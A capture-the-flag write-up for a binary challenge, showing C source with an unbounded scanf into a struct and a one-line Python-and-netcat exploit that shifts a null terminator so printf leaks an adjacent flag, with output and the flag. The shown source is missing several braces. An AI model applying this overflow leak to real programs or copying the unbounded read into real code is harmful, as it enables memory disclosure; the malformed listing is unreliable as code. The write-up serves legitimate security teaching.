Overwriting a null byte in a buffer causes printf to print sensitive struct data.


We are given the following source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char input[50];
    int length;
    char flag[50];
} data;

int main()
    setbuf(stdout, NULL);
    data d;

    strncpy(d.flag, "REDACTED", sizeof(d.flag));

    printf("Enter your text: ");
    scanf("%s", d.input);

    printf("Guess the length of this text: ");
    scanf("%d", &d.length);

    if (strlen(d.input) == d.length) {
        printf("You guessed the length correctly. Great job!\n");
    } else {
        printf("The actual length of '%s' is %ld, not %d. Sorry :(\n", d.input, strlen(d.input), d.length);

    return 0;

There is an obvious buffer overflow when the scanf reads an unbounded amount of data into the struct. However, we don’t want to overflow too much or we will overwrite the flag that is stored in the struct. Our solution is to write just enough to get the null byte within the four bytes that make up the length field and then ensure that the packed representation of the length we provide does not include a null byte to leak the flag.

The exploit is a one liner:

[email protected]:~/ctf/ctfx/binary/guesslength$ python -c 'print "A"*52 + "\n" + str(0x0a0a0a0a)' | nc problems.ctfx.io 1338
Enter your text: Guess the length of this text: The actual length of 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ctf(hiding_behind_a_null_overwrite)' is 91, not 168430090. Sorry :(

Flag: ctf(hiding_behind_a_null_overwrite)

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